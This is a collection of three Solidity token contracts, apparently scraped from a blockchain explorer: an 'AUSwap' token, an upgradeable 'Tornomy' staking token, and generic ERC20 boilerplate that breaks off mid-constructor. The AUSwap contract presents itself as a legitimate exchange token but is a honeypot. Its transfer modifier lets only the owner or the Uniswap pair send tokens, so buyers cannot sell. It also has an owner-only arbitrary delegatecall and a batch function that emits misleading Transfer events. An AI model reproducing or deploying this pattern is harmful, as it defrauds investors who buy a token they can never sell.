* AUSwap is a new way to exchange Ethereum tokens
* The total amount of AUSwap tokens is 1,000,000
* All AUSWAP tokens flow out through UNIswap
* AUSWAP mainnet, expected to be launched in the first quarter of 2021
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AUSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
Deployed by DeepSea
*/
pragma solidity 0.5.16;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly {cs := extcodesize(self)}
return cs == 0;
}
uint256[50] private ______gap;
}
contract Context is Initializable {
constructor () internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
contract Proxy {
function() payable external {
_fallback();
}
function _implementation() internal view returns (address);
function _delegate(address implementation) internal {
assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
switch result
case 0 {revert(0, returndatasize)}
default {return (0, returndatasize)}
}
}
function _willFallback() internal {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
library OpenZeppelinUpgradesAddress {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {size := extcodesize(account)}
return size > 0;
}
}
contract BaseUpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address) {
return _admin();
}
function implementation() external ifAdmin returns (address) {
return _implementation();
}
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20Staked is Initializable, Context, IERC20 {
event LogClaimReward(address account, uint256 amount);
using SafeMath for uint256;
uint256 public minimumStakeBalance;
struct stakeHolder {
uint index;
uint256 reward;
bool status;
}
mapping(address => uint256) private _balances;
mapping(address => stakeHolder) public _stakeHolderMap;
address[] internal _stakeHolders;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _totalPendingReward;
function initialize(uint256 _minimumStakeBalance) public initializer {
minimumStakeBalance = _minimumStakeBalance;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
// staking function, remain reward is not claimed
function totalPendingReward() public view returns (uint256) {
return _totalPendingReward;
}
/**
* @notice A method to add a stakeholder.
* @param account The account to add.
*/
function _addStakeholder(address account) private {
// if user exists, add _val
if (!_stakeHolderMap[account].status) {
// else its new user
_stakeHolders.push(account);
_stakeHolderMap[account].status = true;
_stakeHolderMap[account].index = _stakeHolders.length - 1;
}
}
/**
* @notice A method to remove a stakeholder.
* @param account The stakeholder to remove.
*/
function _removeStakeholder(address account) private {
if (_stakeHolderMap[account].status) {
stakeHolder memory deletedHolder = _stakeHolderMap[account];
if (deletedHolder.index != _stakeHolders.length - 1) {
address lastAddress = _stakeHolders[_stakeHolders.length - 1];
_stakeHolders[deletedHolder.index] = lastAddress; // swap the last address to removed address
_stakeHolderMap[lastAddress].index = deletedHolder.index; // update index for the previous last one
}
_stakeHolderMap[account].status = false;
_stakeHolders.length--;
}
}
/**
* @notice A method to remove a stakeholder.
* @param account The account need to check.
*/
function _checkStake(address account) private {
if (_balances[account] > minimumStakeBalance) {
_addStakeholder(account);
} else {
_removeStakeholder(account);
}
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
// staking function
function rewardOf(address account) public view returns (uint256) {
return _stakeHolderMap[account].reward;
}
// staking function
function isStaking(address account) public view returns (bool) {
return _stakeHolderMap[account].status;
}
// staking function
function getStakeIndex(address account) public view returns (uint) {
return _stakeHolderMap[account].index;
}
// staking function
function totalStakeHolders() public view returns (uint) {
return _stakeHolders.length;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _updateMinimumStakeBalance(uint256 _nextMinimumStakeBalance) internal {
minimumStakeBalance = _nextMinimumStakeBalance;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
_checkStake(sender);
// stake checking
_checkStake(recipient);
// stake checking
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_checkStake(account);
// stake checking
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
_checkStake(account);
// stake checking
emit Transfer(account, address(0), amount);
}
// staking function, add stake amount and split to all holders base on totalSupply
function _splitStakeReward(uint256 amount) internal {
_totalPendingReward = _totalPendingReward.add(amount);
for (uint256 s = 0; s < _stakeHolders.length; s += 1) {
address account = _stakeHolders[s];
uint256 reward = amount.mul(_balances[account]).div(_totalSupply);
_stakeHolderMap[account].reward = _stakeHolderMap[account].reward.add(reward);
}
}
function _claimStakeReward(address account) internal {
uint256 reward = _stakeHolderMap[account].reward;
_mint(account, reward);
_totalPendingReward = _totalPendingReward.sub(reward);
_stakeHolderMap[account].reward = 0;
emit LogClaimReward(account, reward);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
contract Claimable is Initializable, Ownable {
address public pendingOwner;
function initialize(address _nextOwner) public initializer {
Ownable.initialize(_nextOwner);
}
modifier onlyPendingOwner() {
require(
_msgSender() == pendingOwner,
"Claimable: caller is not the pending owner"
);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != owner() && newOwner != pendingOwner,
"Claimable: invalid new owner"
);
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
_transferOwnership(pendingOwner);
delete pendingOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {codehash := extcodehash(account)}
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract CanReclaimTokens is Claimable {
using SafeERC20 for ERC20Staked;
mapping(address => bool) private recoverableTokensBlacklist;
function initialize(address _nextOwner) public initializer {
Claimable.initialize(_nextOwner);
}
function blacklistRecoverableToken(address _token) public onlyOwner {
recoverableTokensBlacklist[_token] = true;
}
function recoverTokens(address _token) external onlyOwner {
require(
!recoverableTokensBlacklist[_token],
"CanReclaimTokens: token is not recoverable"
);
if (_token == address(0x0)) {
msg.sender.transfer(address(this).balance);
} else {
ERC20Staked(_token).safeTransfer(
msg.sender,
ERC20Staked(_token).balanceOf(address(this))
);
}
}
}
contract ERC20WithPermit is Initializable, ERC20Staked, ERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) public nonces;
string public version;
bytes32 public DOMAIN_SEPARATOR;
bytes32 public constant PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb;
function initialize(
uint256 _chainId,
string memory _version,
string memory _name,
string memory _symbol,
uint8 _decimals
) internal initializer {
ERC20Detailed.initialize(_name, _symbol, _decimals);
version = _version;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name())),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
holder,
spender,
nonce,
expiry,
allowed
)
)
)
);
require(holder != address(0), "ERC20WithRate: address must not be 0x0");
require(
holder == ecrecover(digest, v, r, s),
"ERC20WithRate: invalid signature"
);
require(
expiry == 0 || now <= expiry,
"ERC20WithRate: permit has expired"
);
require(nonce == nonces[holder]++, "ERC20WithRate: invalid nonce");
uint256 amount = allowed ? uint256(- 1) : 0;
_approve(holder, spender, amount);
}
}
contract TornomyERC20Staked is
Initializable,
ERC20Staked,
ERC20Detailed,
Ownable,
ERC20WithPermit,
Claimable,
CanReclaimTokens
{
using SafeMath for uint256;
function initialize(
uint256 _chainId,
address _nextOwner,
string memory _version,
string memory _name,
string memory _symbol,
uint256 _minimumStakeBalance,
uint8 _decimals
) public initializer {
ERC20Staked.initialize(_minimumStakeBalance);
ERC20Detailed.initialize(_name, _symbol, _decimals);
Ownable.initialize(_nextOwner);
ERC20WithPermit.initialize(
_chainId,
_version,
_name,
_symbol,
_decimals
);
Claimable.initialize(_nextOwner);
CanReclaimTokens.initialize(_nextOwner);
}
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
}
function splitStakeReward(uint256 _amount) public onlyOwner {
_splitStakeReward(_amount);
}
function updateMinimumStakeBalance(uint256 _nextMinimumStakeBalance) public onlyOwner {
_updateMinimumStakeBalance(_nextMinimumStakeBalance);
}
function claimStakeReward() public {
_claimStakeReward(msg.sender);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
require(
recipient != address(this),
"TORNOMY ERC20: can't transfer to token address"
);
return super.transfer(recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool)
{
require(
recipient != address(this),
"TORNOMY ERC20: can't transfer to stoken address"
);
return super.transferFrom(sender, recipient, amount);
}
}
|
DC1
|
pragma solidity <0.6.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
